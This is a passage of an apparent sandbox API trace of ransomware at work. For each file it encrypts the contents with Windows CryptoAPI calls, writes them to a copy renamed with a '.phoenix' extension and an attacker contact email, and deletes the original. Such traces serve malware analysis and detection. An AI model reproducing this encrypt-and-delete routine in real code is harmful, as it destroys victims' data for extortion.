	[0063.046] CryptDestroyKey (hKey=0xbaa448) returned 1
	[0063.046] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x112, lpOverlapped=0x0) returned 1
	[0063.046] CryptDestroyKey (hKey=0xbaa6c8) returned 1
	[0063.046] CloseHandle (hObject=0x32c) returned 1
	[0063.046] CloseHandle (hObject=0x324) returned 1
	[0063.048] DeleteFileW (lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1
	[0063.049] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.049] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.049] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=129) returned 1
	[0063.049] CloseHandle (hObject=0x324) returned 1
	[0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26
	[0063.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.049] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.049] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.049] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.050] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.092] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa808) returned 1
	[0063.092] CryptSetKeyParam (hKey=0xbaa808, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.092] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x81, lpOverlapped=0x0) returned 1
	[0063.093] CryptEncrypt (in: hKey=0xbaa808, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x90, dwBufLen=0x90 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x90) returned 1
	[0063.093] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x90, lpOverlapped=0x0) returned 1
	[0063.095] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa3c8) returned 1
	[0063.095] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.095] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0063.095] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0063.095] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0063.095] CryptDestroyKey (hKey=0xbaa808) returned 1
	[0063.095] CloseHandle (hObject=0x324) returned 1
	[0063.095] CloseHandle (hObject=0x320) returned 1
	[0063.100] DeleteFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1
	[0063.101] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.102] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.102] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=74214) returned 1
	[0063.102] CloseHandle (hObject=0x320) returned 1
	[0063.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80
	[0063.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.102] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.102] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.102] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.102] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.103] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa288) returned 1
	[0063.103] CryptSetKeyParam (hKey=0xbaa288, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.103] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x121e6, lpOverlapped=0x0) returned 1
	[0063.117] CryptEncrypt (in: hKey=0xbaa288, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x121f0, dwBufLen=0x121f0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x121f0) returned 1
	[0063.117] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x121f0, lpOverlapped=0x0) returned 1
	[0063.119] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa588) returned 1
	[0063.119] CryptSetKeyParam (hKey=0xbaa588, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.119] CryptEncrypt (in: hKey=0xbaa588, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0063.119] CryptDestroyKey (hKey=0xbaa588) returned 1
	[0063.119] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0063.119] CryptDestroyKey (hKey=0xbaa288) returned 1
	[0063.119] CloseHandle (hObject=0x320) returned 1
	[0063.119] CloseHandle (hObject=0x324) returned 1
	[0063.126] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1
	[0063.128] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.128] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.128] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=60816) returned 1
	[0063.128] CloseHandle (hObject=0x324) returned 1
	[0063.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80
	[0063.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.128] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.129] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.129] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.129] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.129] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa688) returned 1
	[0063.129] CryptSetKeyParam (hKey=0xbaa688, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.129] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xed90, lpOverlapped=0x0) returned 1
	[0063.432] CryptEncrypt (in: hKey=0xbaa688, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xeda0, dwBufLen=0xeda0 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xeda0) returned 1
	[0063.432] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xeda0, lpOverlapped=0x0) returned 1
	[0063.434] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa348) returned 1
	[0063.434] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.434] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0063.435] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0063.435] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0063.435] CryptDestroyKey (hKey=0xbaa688) returned 1
	[0063.435] CloseHandle (hObject=0x324) returned 1
	[0063.435] CloseHandle (hObject=0x320) returned 1
	[0063.440] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1
	[0063.442] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.442] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.443] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3726) returned 1
	[0063.443] CloseHandle (hObject=0x320) returned 1
	[0063.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 0x80
	[0063.443] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.443] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.443] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.443] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.443] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.444] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa8c8) returned 1
	[0063.444] CryptSetKeyParam (hKey=0xbaa8c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.444] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xe8e, lpOverlapped=0x0) returned 1
	[0063.448] CryptEncrypt (in: hKey=0xbaa8c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xe90, dwBufLen=0xe90 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xe90) returned 1
	[0063.448] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xe90, lpOverlapped=0x0) returned 1
	[0063.449] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa348) returned 1
	[0063.449] CryptSetKeyParam (hKey=0xbaa348, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.449] CryptEncrypt (in: hKey=0xbaa348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40, dwBufLen=0x40 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x40) returned 1
	[0063.449] CryptDestroyKey (hKey=0xbaa348) returned 1
	[0063.449] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xf2, lpOverlapped=0x0) returned 1
	[0063.449] CryptDestroyKey (hKey=0xbaa8c8) returned 1
	[0063.449] CloseHandle (hObject=0x320) returned 1
	[0063.449] CloseHandle (hObject=0x324) returned 1
	[0063.452] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf")) returned 1
	[0063.453] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.453] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.454] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=80970) returned 1
	[0063.454] CloseHandle (hObject=0x324) returned 1
	[0063.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0063.454] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.454] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.454] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.454] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.454] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.454] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa3c8) returned 1
	[0063.454] CryptSetKeyParam (hKey=0xbaa3c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.454] ReadFile (in: hFile=0x324, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0x13c4a, lpOverlapped=0x0) returned 1
	[0063.469] CryptEncrypt (in: hKey=0xbaa3c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13c50, dwBufLen=0x13c50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x13c50) returned 1
	[0063.469] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x13c50, lpOverlapped=0x0) returned 1
	[0063.471] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa748) returned 1
	[0063.471] CryptSetKeyParam (hKey=0xbaa748, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.471] CryptEncrypt (in: hKey=0xbaa748, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50, dwBufLen=0x50 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0x50) returned 1
	[0063.471] CryptDestroyKey (hKey=0xbaa748) returned 1
	[0063.471] WriteFile (in: hFile=0x320, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0x102, lpOverlapped=0x0) returned 1
	[0063.472] CryptDestroyKey (hKey=0xbaa3c8) returned 1
	[0063.472] CloseHandle (hObject=0x324) returned 1
	[0063.472] CloseHandle (hObject=0x320) returned 1
	[0063.476] DeleteFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1
	[0063.478] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x10, pbBuffer=0x34cf830 | out: pbBuffer=0x34cf830) returned 1
	[0063.478] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.479] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x34cf7d0 | out: lpFileSize=0x34cf7d0*=3419) returned 1
	[0063.479] CloseHandle (hObject=0x320) returned 1
	[0063.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80
	[0063.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0063.479] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0063.479] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.479] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cf770 | out: lpNewFilePointer=0x0) returned 1
	[0063.479] CreateFileW (lpFileName="\\\\?\\C:\\588bce7c90097ed212\\1031\\eula.rtf.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0063.479] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf728, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf784 | out: phKey=0x34cf784*=0xbaa5c8) returned 1
	[0063.479] CryptSetKeyParam (hKey=0xbaa5c8, dwParam=0x1, pbData=0x34cf830, dwFlags=0x0) returned 1
	[0063.837] ReadFile (in: hFile=0x320, lpBuffer=0x3a32020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x34cf7ac, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesRead=0x34cf7ac*=0xd5b, lpOverlapped=0x0) returned 1
	[0063.946] CryptEncrypt (in: hKey=0xbaa5c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd60, dwBufLen=0xd60 | out: pbData=0x3a32020*, pdwDataLen=0x34cf748*=0xd60) returned 1
	[0063.946] WriteFile (in: hFile=0x324, lpBuffer=0x3a32020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x34cf790, lpOverlapped=0x0 | out: lpBuffer=0x3a32020*, lpNumberOfBytesWritten=0x34cf790*=0xd60, lpOverlapped=0x0) returned 1
	[0063.947] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x34cf71c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x34cf788 | out: phKey=0x34cf788*=0xbaa288) returned 1
